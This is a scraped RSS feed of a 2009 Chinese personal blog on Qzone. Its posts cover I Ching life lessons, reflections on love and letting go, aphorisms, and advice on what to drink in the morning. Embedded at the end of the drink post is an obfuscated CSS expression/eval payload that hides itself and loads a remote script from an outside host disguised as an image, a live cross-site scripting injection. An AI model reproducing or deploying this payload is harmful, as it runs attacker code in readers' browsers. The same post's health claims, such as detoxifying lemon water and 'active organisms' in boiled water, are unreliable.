http://305246635.qzone.qq.com Fri, 27 Nov 2009 01:48:45 GMT Qzone zh-cn Copyright (C), 2005-2008, Tencent Tech. Co., Ltd. Sun, 08 Nov 2009 19:15:59 GMT http://305246635.qzone.qq.com/blog/1257707759
易经给我们的64个人生智慧

易经的日常用法：《易经》没有那么神秘，它是科学的，它就在我们的身边，我们每天的生活起居，工作事业，健康幸福，都受这64个哲理的左右。我们以科学的态度对待这64个哲理，就形成了64个感悟，64个感悟回答了人生64个怎么办。

　　64卦为我们的生活解惑，减压，导航。
　　第一感悟：养精蓄锐把握机会-----学会定位
　　《易经》告诉人们，人在不同的年龄阶段的定位是不同的，而又是承前启后相互衔接密不可分的，因而又是不能超越的。人生的路虽然是曲折的，但我们还必须得按部就班地一步一个脚印地从头走起，该受的苦你必须要受，该喝的蜜你必须要喝，不可越雷池一步。
　　第二感悟：心有乾坤神闲气定----戒除浮躁
　　当人们浮躁的时候，应该想想那浩繁飘渺无穷无尽的宇宙，为什么它能够数亿年的时间仍然坚守着自己的法则，遵循自己的规律不动摇。
　　第三感悟：锲而不舍奋发进取----磨掉幼稚
　　如果说一个成年人很幼稚，就不是那么好听了，多少有点讽刺的意味。说明他（她）不懂事理，不辩是非，不通达。说重一点就是他（她）很傻。
　　第四感悟：目标明确果断前行----战胜疏懒
　　要找聪慧者，要找我们的“启蒙”老师作为指导，而不是“启蒙”老师来找我们，如果“启蒙”老师指出我们的缺点和错误，就应该积极主动地去接受，去改正。
　　第五感悟：等待时机慧眼明察----走向成熟
　　等待是一种智慧。等待是一种积蓄。等待是一种信念。人们之所以等待，是因为时机还没成熟。
　　第六感悟：冷静反省心安理得----避免争执
　　我们必须学会反省，当我们做事之前反省了，每个细节都考虑到了，办事才能得心应手，即使遇到挫折由于预先考虑的明白，心里也会有准备，不至于最后会把事情办咂，甚至走向歧途。当我们做事之后反省了，从中得到经验教训，就可以为以后的成功铺好路。
　　第七感悟：伸张正义宽厚仁慈----化干戈为玉帛
　　国家出师有名，惩恶扬善，是为了伸张正义，为天下人谋福利，这是大义；同样一个人也能出师有名，而这个“师”就是“小师”。就是人们心中的正义之道，就是做正义之事，这个义也是小义。
　　第八感悟：相亲相爱和平共处----赶走孤独
　　爱需要相互帮助，爱需要相互依靠，爱需要理解，爱需要交流，爱需要磨合，爱需要缘分，爱可以赶走孤独。
　　第九感悟：以退为进蓄势待发----鼓足干劲
　　提起以退为进，我们不禁想起卧薪尝胆，忍辱负重，胯下之辱，退一步进两步这些先人们留下来的典故。最有代表性的，要数“退一步海阔天空”的故事吧。这种海阔天空表示让自己有更多的回旋余地。
　　第十感悟：奋勇前行坚持真理----靠近成功
　　成功固然是每一个人所向往的，但成功的前提必须奋勇前行坚持真理，没有奋勇前行，成功只能是一个泡影；没有坚持真理，成功只能与我们背道而驰。

　　
　　第十一感悟：善于沟通诚信待人----增进了解
　　要沟通必须诚信待人，将心比心。沟通缺少了真诚，一切都会变得虚伪，一切都没有意义，一切交流都因没有力度而难以让人信任。
　　第十二感悟：顺应自然顺水推舟----懂得顺从
　　当上帝要在你面前降下灾难时，不要悲观，不要失望，要坚强，也不要过多地去苦恼，苦恼没有用，要保持平常心，要顺应自然，要懂得有容乃大的道理，只有这样你才能够让自己的身心放松下来，更理智地去处理路边的荆棘和杂草。更快乐的去从容面对一切。
　　第十三感悟：和睦相处平易近人----融入团体
　　我们常说，要想做事，首先必须会做人，只有把做人放到第一的位置上，我们的事业才能够蓬勃发展。而做人就是讲究人缘，要想有人缘，就必须与团体打成一片。而要想融入团体，就必须积极主动地与他人沟通交流，了解他人的心声，想他人所想，助他人所难，方能得他人之心。
　　第十四感悟：柔顺谦逊精中求细----稳妥操办大事
　　古人云：“九层之台，起于累土；合抱之木，生于毫末；千里之行，始于足下；”又曰：“不积细流，无以成江海；不积硅步，无以致千里。”所以说天下大事必作于细，天下难事必作于易。
　　第十五感悟：谦虚谨慎虚若怀谷----切忌得意忘形
　　在这个复杂多变的社会里，人们的心越来越浮躁了，浮躁就会让人变得得意忘形，得意忘形我们就会失去很多。为了让鲜花常伴于我们身边，让事业不断前进，让我们从现在就开始谦逊谨慎，虚怀若谷吧。
　　第十六感悟：有备无患奉献爱心----分享快乐
　　世界是美好的，当我们以微笑去面对世界时，我们征服了世界；创业是艰辛的，当我们以微笑去面对创业时，我们成就了创业。创业是一种分享，一种付出。付出是一种爱，爱是快乐的，快乐需要微笑。微笑，没有沮丧，也没有失败，只有进步，只有成功。
　　第十七感悟：随机应变开阔视野----灵活变通
　　要学会相互沟通，相互促进，不断拓宽视野。没有开阔的视野，没有长远的眼光，就会跟不上时代潮流，就会守旧，就会落后。
　　第十八感悟：惩前毖后治病救人----冷静纠正错误
　　我们每个人都期待着别人的赏识，期待着社会的肯定，期待着自我价值的确认，这是一种积极的动力，不管是批评还是表扬，都应该有明确的针对性，要就事而论，不能大而化之，不能空洞。
　　第十九感悟：智慧感化德行育人----因势利导
教育人或者管理人都要以理服人，以智慧来感化，以智慧育人，坚持中庸之道，利用因势利导的方法教导人，从而取得人们的信任或尊重。
　　第二十感悟：审视自我观察别人-----完善自我
　　人最大的敌人不是别人，而是自己，要想了解自己，必须审视自我，经常反省自我。
　　经常审视自我会让自己更能够认识自我的不足和错误，从而改变自我，提升自我。
　　第二十一感悟：大事花小小事化了-----消除阻梗
　　化解矛盾要首先从自己做起，记住你如何对待别人，别人也会如何对待你，要走进别人的心灵，自己就要首先敞开胸怀。这样就会把大事化小，小事化了。
　　第二十二感悟：树立形象提高修养----学会包装自我
　　每个人就象一个招牌，当你出现时，人们对你会产生一种印象，要想被人们所认可，第一印象非常重要，所以要树立形象。
　　第二十三感悟：顺应时势寻求帮助----正确对待衰败
　　有的时候，衰败会给人以毁灭性的打击，凭个人的力量根本无法躲避，这个时候，要会寻求外援，取得帮助，增加自己的力量，共同承担衰败带来致命的打击。
　　第二十四感悟：有错必纠改邪归正----学会做聪明人
　　人生就是这样，既然有了错误，就要勇于面对，要有错必纠，及时改过，方能进步。
　　第二十五感悟：光明磊落脚踏实地----战胜虚伪
　　人需要豁达，需要开朗，需要抛开烦恼，需要防开心情，更需要有宽广的胸怀，只要自己坐得正行得直，坦然地面对一切，这样，你的所有烦恼就会烟消云散。
　　第二十六感悟：积善行德招贤纳士----揽人才笼人
　　作为一个领导，要想取得更大的成绩，身边必须有一大批为自己能撑得起腰杆子的贤才，为自己死心踏地而卖命的志士，同时还要不断修养自己的德行，德行越高，懂得越多，事业才会越顺利。
　　第二十七感悟：自食其力养人养德----学会养家糊口
　　人要学会自食其力，自力更生，创造财富，养护自己和家人，不要好逸恶劳，好吃懒做，游手好闲，成为家庭的懒汉，国家的负担。
　　第二十八感悟：敢闯敢干不怕失败----过流时期坚强如刚
　　在大的过渡时期，免不了困难重重，荆棘遍地，但做事情之前，需要我们的耐力，需要我们敢闯敢干，不怕失败。
　　第二十九感悟：流而不盈持中守正----直面坎坷
人生的道路上总是有填不完的坑坑坎坎，当我们正在困难之中时，要知道流而不盈的道理，要有持中守正的态度。

　　第三十感悟：选择依靠知命乐天----保存退路
　　当眼前的太阳已经沉没，背后的太阳还没有升起来，我们站在黑暗中，应该做点什么呢？
　　没有别的捷径可走，只有依靠脚下的土地，依靠繁花硕果的春秋，依靠自己的努力拼搏，坚持不懈。
　　第三十一感悟：相感以情坦诚相待-----寻找朋友
　　我们可以失去很多，但不能失去的是朋友。朋友不是一段永恒，朋友只是生命中的一个过客，但因为缘起缘灭使生命变得美丽起来。即使没有将来又有何关？至少，不能忘记的是朋友以及与朋友一起走过的岁月。
　　第三十二感悟：人贵有恒积极主动-----持之以恒
　　人活在世，最怕没有志向，没有坚强的毅力去努力实现自己的志向，一个人成就大小，往往受各种因素的影响，但如果有坚强的毅力，绝不会一无所成。
　　第三十三感悟：远离小人敬而远之-----保护自己有学问
　　《易经》告诉人们，山高天退，山不论多高，也不能接近天。远离小人，但不要憎恶小人，而是严于律己，使小人不能接近。
　　第三十四感悟：目标正确懂得放弃-----稳步壮大自己
　　做事要一步一个脚印，踏实，稳步前行，在磨砺中不断壮大自己；要不断积累自己的专业知识，提升自我，要谦虚进取，吃苦耐劳，目标正确，懂得放弃，恰如其分地展现自我的实力。
　　第三十五感悟：爱岗敬业以德服人----缓步晋升
　　“以诚待人，以德服人”是做人的根本，在现阶段，它又赋予了新的意义，是我们物质文明，精神文明，政治文明的重要基石和标志。
　　第三十六感悟：退而自保锋芒不露----心怀远大抱负
　　韬光养晦就是要沉着应付，能忍辱负重，凡事收敛锋芒，隐藏才能行迹，等到条件成熟时，一展自己的远大抱负。
　　君子光明的德行受到创伤，这时再继续前进是非常艰难的，聪明的办法是收敛自己的光芒。
　　第三十七感悟：端正家风教子有方----创建美好家园
　　有句话说的好：上梁不正下梁歪。为人父母的如果不能以身作则，严于律己，做出一些丢人现眼的事情，做儿女的难道不受到感染吗？谁不指望子成龙女成凤，但必须要一个先决条件——家风纯正
　　第三十八感悟：求同存异信而不疑----学会与不同人相处
　　当自己与别人意见相左时，关键的是要把握时机，在异中求同。异中求同，是为人处世的一大特色。要做到这点，必须具备宽宏大量的气度，拼弃杂念的心态，才能被他人真诚地接受。
　　第三十九感悟：追思反省刚健中正----摆脱困境
　　困难是难免的，这个世界本来充满着矛盾，困难时时有，事事有。就看如何对待它。有了困难，要客观分析它，深入地研究它，从中得出问题的关键所在，从而采取对策，吸取经验，争取下次不再发生。做到吃一堑，长一智。
　　第四十感悟：养精蓄锐改过自新----平安渡过险境
　　有了困难，必须想办法解除；就像遇到高山，看到沙漠一样，必须勇敢地面对。但一定要有方法，才能平安渡过险境。
　　第四十一感悟：吃亏是福有失必得----获得利益
　　得中有失，失中有得，得得失失，失而复得，这便是生命的历程。有一种得失是必然的-----得生，必得死。然而，同是懂得这一法则的人，所得却不尽相同，一种是消极的，像“今朝有酒今朝醉，人生得意须尽欢；”另一种是积极的，正如季羡林所说，“人的一生是短暂的，绝不能白白的把生命浪费掉。”前者对于这个法则局限于明白，而后者却是透悟-----不只对这个法则，也是对人生。
　　第四十二感悟：乐善好施惠人惠己-----爱别人就是爱自己
　　《易经》告诉我们，损上益下，都是民悦无疆，都是道义大放光芒。你对别人好，别人对你好的概率非常大。这是自然法则，因为毕竟好人占多数，善心占多数。佛说，爱别人，别人会回报给你，这样，就等于你自己爱自己了。爱别人吧，他会回报给你。爱，让我们共赢。
　　第四十三感悟：当机立断胜卷在握------处理事情要果断
　　做事要果断，要雷厉风行，不可慢吞吞，犹豫不决。否则，会毁坏前程。有史以来，成大事者在处理事情时都会当机立断，拿得起放得下，干净利落。
　　第四十四感悟：珍惜缘分选择朋友------慧眼识他人
　　相遇是一种缘分，是一种机遇，是成功的开始。机遇之后便有亲情，友情和爱情，从这方面来说相遇是好事。但相遇并不总是好事，所以，要学会慧眼识他人。
　　第四十五感悟：聚集英才用人所长-----开创光明
　　对于现代的企业领导者来说，在激烈的竞争中想要成就一番事业，就必须求得“贤臣良将”，有精干的下属辅佐。这就要求领导者们能做到“尚贤”，以才为标准，招揽一批可用之才。
　　第四十六感悟：积累资本寻找贵人-----机会青睐有准备的人
　　机遇和贵人是在适当的时候出现的适当的人，事，物的组合体。我们无法控制这种完美的巧合何时出现，唯一能做的就是通过控制自己的人脉来给自己创造更多的可能。
　　第四十七感悟：卧薪尝胆笑看人生-----摆脱潦倒
　　《易经》告诉我们，当你穷困之时，要想没有灾难，要想通达，必须做到冷静相对。虽然身陷穷困，仍然自得其乐，不心急火冒，坚持自己的理想，卧薪尝胆，坚守中正的原则。
　　第四十八感悟：求贤若渴善待英才----做合格的老板
　　给别人机会，就等于给自己机会，职场也是如此。对别人宽容，将会造成能力互补，资源共享的职场氛围。经常给自己公司的员工以涌泉相报，将有助于提升你的职场情商，增强你的职场凝聚力与向心力。
　　第四十九感悟：破旧立新与时俱进----改变自我
　　世界上所有的事物都是在不断变化之中的，不适应社会的发展就会被淘汰，所以，只有不断地推尘出新，才会有进步和发展。
　　第五十感悟：厚积薄发堪当重任-----干大事要人才
　　《易经》告诉我们：才能浅薄，而地位尊贵，欠缺智慧，这样的人去图谋大事，必定能力不足。这样的人如果担当重大责任，是很少没有灾祸的。
　　所以，要薄积厚发，奋发向上，取得进去。
　　第五十一感悟：笑容坦然言行自若-----遵循行为的规则
　　在这多变的红尘世界，谁也不可能总是一帆风顺，人生十有八九都是不如意，无论处于何种境遇，最重要的是保持一颗平常心，随遇而安，拥有一份从容，坦然面对人生。
　　第五十二感悟：时止则止时行则行----做事有分寸
　　在一切工作中，我们的决策都应该既尊重客观规律，又充分发挥主观能动性，将原则性和灵活性高度统一起来，这样才能创造性地开展工作，做到当行则行，当止则止。
　　第五十三感悟：循序渐进德厚载物----提升自我实现目标
　　在人生的道路上，起点低并不可怕，只要能够循序渐进，坚持不懈，日积月累地做下去，终究会从低洼的平地攀登上理想彼岸的。
　　第五十四感悟：专心如一白头偕老----寻找如意伴侣
　　谁离开谁都可以活下去，但要知道谁要拥有了谁，会更幸福。所以请珍惜你的他（她）吧！只有相互依偎，相互关爱，相互信赖，专心如一的生活才是最完美的。
　　第五十五感悟：扶危济困泽被后世----达则兼济天下
　　人生有多少价值，取决于帮助身边周遭的人创造出多少价值。人生愈有价值，生命愈有力量，自然也就愈快乐。我们不管价值观来自何方，归向何处，只要知道坚定不移，带来的是快乐，延伸的是幸福，这就够了。
　　第五十六感悟：走出家们闯荡世界-----寻找发展之路
　　今天的世界是一个开放的世界，我们要走出去，看世界，学本领，破除了满足现状，因循守旧的传统观念，树立市场观念和致富意识，寻找适合自己的发展之路，勇于走出家门闯荡世界。
　　第五十七感悟：过谦不及有始有终----实现志向
　　谦虚固然好，但谦虚过度，就是懦弱。因此，面对人生的各种抉择，要知道何时应该谦虚、何时应该张扬，从而灵活应对，游刃有余，促使自己快速达到个人职业发展的巅峰。
　　第五十八感悟：开怀豁达齐心协力-----共同进步
　　人的一生虽然不能一帆风顺，磕磕碰碰，坎坎坷坷，是避免不了，但欢欣、喜悦的日子也会时常光顾我们。我们要想欢欣、喜悦起来，必须学会开怀豁达，要想共同进步，必须齐心协力。
　　第五十九感悟：凝聚人心增强实力----一盘散沙是大害
　　市场上的优秀人才不多见，笼络优秀的人才是企业成功的重要保证，要创造良好的激励机制以吸引行业最优秀的人才，笼络一流的人才才能增强公司的综合能力。
　　第六十感悟：洁身自保无欲则刚-----懂得节制
　　只有懂得节制，才可能做好选择。俗话说“小不忍则乱大谋”，我们必须学会约束自己，时时审视自己，关键时刻要会洁身自好，要懂得无欲则刚的道理，千万不要让一些坏习惯影响了自己的人生。
　　第六十一感悟：诚实守信专心致志----推动事业发展
　　人要专心就能做成好多事。人的潜能是了不起的，只要专注于某一件事情，那就一定会做出使自己感到吃惊的成绩来。
　　第六十二感悟：小过无错大过难容----正确对待过失
　　人非圣贤，孰能无过？在我们的工作、生活中，过失是很难避免的事，关键要学会正确对待过失，开动脑筋思考过失，从过失中得到启迪。
　　第六十三感悟：居安思危防患未然----保护成功果实
　　成功了，确实不容易，也许它蕴含了我们半生的心血，既然成功的果实来之不易，就让我们多一点居安思危的意识，提高警惕，防患于未然吧。
　　第六十四感悟：永不懈怠消除悔恨----迎接胜利
　　不要因生活中的一些细小过失而后悔，如果事事追悔，恐怕一个人一辈子都会生活在数不清的悔恨之中。如果错已铸成，且又无法弥补，要当机立断：吸取教训，以后不要再犯。这种很干脆的自我警告，比放在心里悔恨更有用。
]]> http://305246635.qzone.qq.com/blog/1257707759#comment 134218241 Sun, 08 Nov 2009 19:15:59 GMT http://305246635.qzone.qq.com/blog/1257707759 http://305246635.qzone.qq.com/blog/1257705645 2009.11.08的一天，聚会来得很突然，我们大家都参加了，可是不知为什么感觉到自己很羞愧、很遗憾，有点无奈，但自己也感到很欣慰，师兄弟感情的力量，给了我更多能源和动力，相信自己对下来的路子会更加自信，会用心去做好手头最..最为需要的事情。。。。
相信明天会更好。。。。。 ]]> http://305246635.qzone.qq.com/blog/1257705645#comment 134217728 Sun, 08 Nov 2009 18:40:45 GMT http://305246635.qzone.qq.com/blog/1257705645 http://305246635.qzone.qq.com/blog/1257136712 人生想法很多，
梦想也很多，
但人生同人一样是不完美的，
你不可能去完成你所有的想法，
去实现你所有的梦想，
如果你执着地追求某件事，
虽然这种精神值得赞赏，
但并不一定可取。
人应该懂得放弃，
放弃不是害怕，
放弃是让自己的心灵得到喘息的机会，
而让自己寻找不同的方式，
或者寻找新的希望，
去实现你的想法和梦想，
或者去做比那更重要的事。

人生太短暂，
想做的事太多，
但不可能所有想做的事情都去尝试，
有所选择，
有所放弃。

我的心是如此平静，
有朋友说应该去当和尚，
当和尚是那些虔诚的信徒的做法，
或者是厌倦了世俗生活的人。

而我既不信佛，
也没有厌倦凡人的生活。
但不是说我就不去了解佛，
听佛法，
看佛经，
我只是觉得去佛是从生活中来，
在某些方面又高于生活，
而高于生活的那部分，
也许就是现代人想要去了解的，
去审视的。

有个作家曾说过，
唯有放下，
才能向上。 ]]> http://305246635.qzone.qq.com/blog/1257136712#comment 134218248 Mon, 02 Nov 2009 04:38:32 GMT http://305246635.qzone.qq.com/blog/1257136712 http://305246635.qzone.qq.com/blog/1256669513 真难…能有什么捷径呢？:-( ]]> http://305246635.qzone.qq.com/blog/1256669513#comment 134218752 Tue, 27 Oct 2009 18:51:53 GMT http://305246635.qzone.qq.com/blog/1256669513 http://305246635.qzone.qq.com/blog/1254072983 ]]> http://305246635.qzone.qq.com/blog/1254072983#comment 134219272 Sun, 27 Sep 2009 17:36:23 GMT http://305246635.qzone.qq.com/blog/1254072983 http://305246635.qzone.qq.com/blog/1253209058 像是自己独在茫茫大海中，多么的渺茫和无助。
]]> http://305246635.qzone.qq.com/blog/1253209058#comment 134218752 Thu, 17 Sep 2009 17:37:38 GMT http://305246635.qzone.qq.com/blog/1253209058 http://305246635.qzone.qq.com/blog/1251622377 你已經很清楚了，起床後空腹喝下第一杯液體有益健康，但是這一杯該喝什麼才正確？
白開水、淡鹽水、蜂蜜水、檸檬水、果汁、牛奶...這些選項都對嗎？
可要弄明白了，這裡面真的有誤解啊！

白開水
晨起喝水，喝與室溫相同的開水最佳，以盡量減少對胃腸的刺激。
研究發現，煮沸后冷卻至20~25℃的白開水是最佳選擇，因為其內含的活性生物，
會透過細胞膜促進新陳代謝，增強人體的免疫功能，凡是習慣喝溫或涼開水的人，
新陳代謝狀態良好，肌肉組織中的乳酸積累減少，因此不易感到疲勞，
而且開水中的鈣，鎂元素對身體健康是很有益的。
不過，早上起床后不要飲用冷，那樣會刺激胃部並且無法到達腸道，因而造成體內脹氣。

蜂蜜水
相比之下，清晨起來喝一杯蜂蜜水更為科學。
人經過一夜睡眠后，內大部分水分已被排泄和吸收，這時空腹飲一杯蜂蜜水，既可補充水分，又可增加營養，完全可取代白開水的位置。

檸檬水
如果留心報章的美容或減肥知識，你會發現，宿便是終結美麗曼妙身材的元凶之一。
是的，宿便一旦形成后，所積存的廢物會逐漸變質為毒素，反映到你的皮膚表面。
所以，每天早上起來，最好在尚未進食之前，空腹喝下一杯加了新鮮檸檬片的熱開水。
別小看這杯排毒水，它不僅是身體最好的酸鹼中和劑，還能起到清除宿便、排除毒素的功效。
此外，如果有口氣不佳的困擾，它也能神奇地幫你改善。

淡鹽水
有不少人認為喝淡鹽水有利于身體健康，于是晨起就喝淡鹽水，這種認識卻是錯誤的。
研究認為，人在整夜睡眠中未飲滴水，然而呼吸、排汗、泌尿卻仍在進行中，這些生理活動要消耗損失許多水分。早晨起床如飲些白開水，可很快使血液得到稀釋，糾正夜間的高滲性脫水。
而喝鹽水則反而會加重高滲性脫水，令人更加口乾。
何況，早晨是人體血壓升高的第一個高峰，喝鹽水會使血壓更高。

果汁
有人以為早上起來喝上一杯鮮果汁既有解渴作用又有營養，但你錯了。
這時喝果汁並不能提供此時身體最需要的水分，而且在缺水的狀態下就讓胃腸進行工作，不利于身體健康。如果這時喝市售的果汁、可樂、汽水等，就更是大錯特錯了，
汽水和可樂等碳酸飲料會加速鈣的排泄，清晨飲用非但不能有效補充機體缺少的水分，還會增加身體對水分的要求，反而造成體內缺水。

牛奶
早上可以喝牛奶，這沒錯，但放在"第一杯"就錯了。
空腹喝牛奶不過是"穿腸而過"，胃來不及消化，小腸來不及吸收，
牛奶的營養價值也就無從體現，還有人出現腸胃脹氣等"過敏"反應，更把好事變成壞事。
因此早上喝牛奶是作為"早餐"來用的，並且一定要配上碳水化合物同吃，才能充分發揮蛋白質的營養價值。

您喝對了嗎? 還來得及哦
个人主页:www.cn586318.688178.com[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash] ]]> http://305246635.qzone.qq.com/blog/1251622377#comment 134218248 Sun, 30 Aug 2009 08:52:57 GMT http://305246635.qzone.qq.com/blog/1251622377 http://305246635.qzone.qq.com/blog/1251137924 　　2. 低头要有勇气，抬头要有底气。
　　3. 上天决定了谁是你的亲戚，幸运的是在选择朋友方面它给你留了余地。
　　4. 人生就像一杯茶，不会苦一辈子，但总会苦一阵子。
　　5. 傻与不傻，要看你会不会装傻。
　　6. 女人用友情来拒绝爱情，男人用友情来换取爱情。
　　7. 幸福是可以通过学习来获得的，尽管它不是我们的母语。
　　8. 不要见一个爱一个，爱的太多，你的爱就要贬值。
　　9. 想完全了解一个男人，最好别做他的恋人，而做他的朋友。
　　10. 朋友就是把你看透了，还能喜欢你的人。
　　11. 当我们搬开别人架下的绊脚石时，也许恰恰是在为自己铺路。
　　12. 痛苦来临时不要总问： “ 为什么偏偏是我？ ” 因为快乐降临时你可没有问过这个问题。
　　13. 如果说我懂的道理比别人多一点，那是因为我犯的错误比别人多一点。
　　14. 不是每句 “ 对不起 ” ，都能换来 “ 没关系 ” 。
　　15. 世界上只有想不通的人，没有走不通的路。
　　16. 地球是运动的，一个人不会永远处在倒霉的位置。
　　17. 走的最急的是最美的景色，伤的最深的是最真的感情。
　　18. 在事实面前，我们的想象力越发达，后果就越不堪设想。
　　19. 当别人开始说你是疯子的时候，你离成功就不远了 ……
　　20. 你永远看不见我眼里的泪，因为你不在时我才会哭泣。
　　21. 时间就像一张网，你撒在哪里，你的收获就在哪里。
　　22. 如果我能够看到自己的背影，我想它一定很忧伤，因为我把快乐都留在了前面。
　　23. 理想和现实总是有差距的，幸好还有差距，不然，谁还稀罕理想？
　　24. 说有上辈子的人是在骗自己；说有下辈子的人是在骗别人。
　　25. 任何人都可以变得狠毒，只要你尝试过嫉妒。
　　26. 常常告诫自己不要在一棵树上吊死，结果 …… 在树林里迷路了。
　　27. 爱情就像攥在手里的沙子，攥的越紧，流失的越快。
　　28. 人生有两大悲剧：一个是得不到想要的东西，另一个是得到了不想要的东西。
　　29. 成熟不是心变老，而是眼泪在眼里打转却还保持微笑。
　　30. 问候不一定要郑重其事，但一定要真诚感人。
　　31. 做与不做的最大区别是：后者拥有对前者的评论权。
　　32. 人，长得漂亮不如活的漂亮。
　　33. 有些事，明知是错的，也要去坚持，因为不甘心；有些人，明知是爱的，也要去放弃，因为没有结局；有时候，明知没路了，却还在前进，因为习惯了。
　　34. 同样的一瓶饮料，便利店里 2 块钱，五星饭店里 60 块，很多的时候，一个人的价值取决于所在的位置。
　　35. 每个人出生的时候都是原创，可悲的是很多人渐渐都成了盗版。
　　36. 真坏人并不可怕，可怕的是假好人。37. 浪漫是一袭美丽的晚礼服，但你不能一天到晚都穿着它。
　　38. 把一切平凡的事做好即不平凡，把一切简单的事做好即不简单。
　　39. 把不忙不闲的工作做的出色，把不咸不淡的生活过得精彩。
　　40. 情侣间最矛盾的地方就是幻想彼此的未来，却惦记着对方的过去。
　　41. 忙碌是一种幸福，让我们没时间体会痛苦；奔波是一种快乐，让我们真实地感受生活；疲惫是一种享受，让我们无暇空虚。
　　42. 理想很丰满，现实很骨感。
　　43. 女人吻男人是一种幸福，男人吻女人是一种口福。
　　44. 爱情永远比婚姻圣洁，婚姻永远比爱情实惠。
　　45. 探索的旅程不在于发现新大陆，而在于培养新视角。
　　46. 一个人能走多远，要看他有谁同行；一个人有多优秀，要看他有谁指点；一个人有多成功，要看他有谁相伴。
　　47. 叹气是最浪费时间的事情，哭泣是最浪费力气的行径。
　　48. 不是人人都能活的低调，可以低调的基础是随时都能高调。
　　49. 谈恋爱就像剥洋葱，总有一层会让你流泪。
　　50. 年轻时候，拍下许多照片，摆在客厅给别人看；等到老了，才明白照片是拍给自己看的。
　　51. 就算不快乐也不要皱眉，因为你永远不知道谁会爱上你的笑容。
　　52. 当大部分人都在关注你飞的高不高时，只有少部分人关心你飞的累不累，这就是友情。
　　53. 绝口不提不是因为忘记，而是因为铭记。
　　54. 让未来到来，让过去过去。
　　55. 微小的幸福就在身边，容易满足就是天堂。
　　56. 成功有个副作用，就是以为过去的做法同样适应于将来。
　　57. 天使之所以会飞，是因为她们把自己看得很轻 ……
　　58. 试金可以用火，试女人可以用金，试男人可以用女人。
　　59. 喜欢一个人，就是在一起很开心；爱一个人，就是即使不开心，也想在一起。
　　60. 幽默就是一个人想哭的时候还有笑的兴致。
　　61. 咖啡苦与甜，不在于怎么搅拌，而在于是否放糖；一段伤丨痛，不在于怎么忘记，而在于是否有勇气重新开始。
　　62. 人之所以活得累，是因为放不下架子，撕不开面子，解不开情节。
　　63. 漂亮只能为别人提供眼福，却不一定换到幸福。
　　6丨4. 美丽让男人停下，智慧让男人留下。
　　65. 人生最精彩的不是实现梦想的瞬间，而是坚持梦想的过程。
　　66. 人生的冷暖取决于心灵的温度。
　　67. 如果你为自己定的所有目标都已达到，那么说明你定的目标还不够远大。
　　68. 生活可以将就，生活也可以讲究。
　　69. 女人的眼泪是没用的液体，但你让女人流泪说明你很没用。
　　70. 忍无可忍，就重新再忍。
　　71. 睡觉说明明天还要起来。
　　72. 付出真心，才会得到真心，却可能伤的彻底；保持距离，才能保护自己，却注定永远寂寞。
　　73. 让梦想成真的最好办法就是醒来。
　　74. 说真话的最大好处就是你不必记得你都说些什么。
　　75. 有时候，不是对方不在乎你，而是你把对方看的太重。
　　76. 废话是人际关系的第一句 ]]> http://305246635.qzone.qq.com/blog/1251137924#comment 134218760 Mon, 24 Aug 2009 18:18:44 GMT http://305246635.qzone.qq.com/blog/1251137924 http://305246635.qzone.qq.com/blog/1250794984 人生慢长，为了生存，我们从一个环境投入到另一个环境。从一种状态投入到另一种状态。随着心灵的不断向往，我们不得不告别一些人，一些时光。去追寻理想的光环。随着时代的变化，我们的思想和行为也在跟着变化。在情感的空间里，我们被新生的观念左右着，从而偏离了最初的信念。誓言与承诺，那只是言情小说里情景的需要。在现实生活中，我们都没有太大的勇气去面对未来的命运。因此，我们往往都在和一些人擦肩而过。直到我们都到了谈婚论嫁极限的年龄，通过不断的回忆作比较，顿时感悟，原来生命中确确实实错过了一些可以长相厮守公度一生的人。黯然神伤，是命运喜欢捉弄人，还是人喜欢捉弄命运。缘份这东西说有就有，说没就没。当爱情来临的时候，我们都应该好好去珍惜。不要错过了随手可得的幸福，一旦失去了，只能任由回忆填充空虚的情怀。为自己错失的时光而终生饮恨…
当遇到合适的人，彼此可以融合生活，不管简单也好，复杂也好，就不要犹豫，犹豫之间他或她就有可能成为她或他的人了。不要贪图物质的享受，也不要贪图精神的高尚。世间没有十全十美的人,也没有十全十美的生活.贫贱富贵，开心就好。我们往往因为被一些生存的假现象所迷惑，因此使得我们在爱情的道路处处泥泞，坎坷连连。爱情是什么，谁都不能给出一个标准的答案，正如我们的人生一样，是没有标准的，而我们维一可以做到的就是珍惜现有，未来是一个未知数，没有人可以预知它的具体形态，也没有人可以预知自己或者他人的未来，因此不要被假象给迷惑了，以至于“此情可待成追忆，只是当时已枉然。”
然而，随着我们的世界观，人生观,价值观的不断改变,我们的爱情观也在随之而改变，我们看一看自己以及周边的人，就会发现很多人错失爱情的同时，往往也错失自己，从而郁郁寡欢，在人生中迷失了方向。我们每一个人内心深处都有着美好的初衷，只是随着环境的演变，异至我们偏离了中心的轨道。一个人一旦失去了坚定的信念，那么也就失去了动力与能量，还拿什么去言谈理想，更加没有资本去拥有幸福，爱情随时都可能成为生命中的昙花一现，当有一天我们发现了问题的所在，试着去补救因为自己的过错而造成的流失的时候，却是物是人非，时光不再。
生命中终将错过一些人，我们应该感谢那些错过的人，他们让我们明白了幸福的珍贵。是该好好反醒自我的时候了，不要错过了才说后悔，不要任由往事的缺憾占据了痛楚的心扉，时光不等人，只有人去等时光，不要相信该是自己的终该是自己的，不去争取不去把握的话，永远都不会有机会幸福全靠去争取，我们都应该去争取，去珍惜。不要错过了能够“执子之手，与子偕老”的人生忠实的伴侣。世事无常，人生反复，我们不管什么时候，处在怎样的环境里，都要坚定自己的信念，不要让遗憾吞噬了灵魂，不要让生命饮恨在荒废的时光…



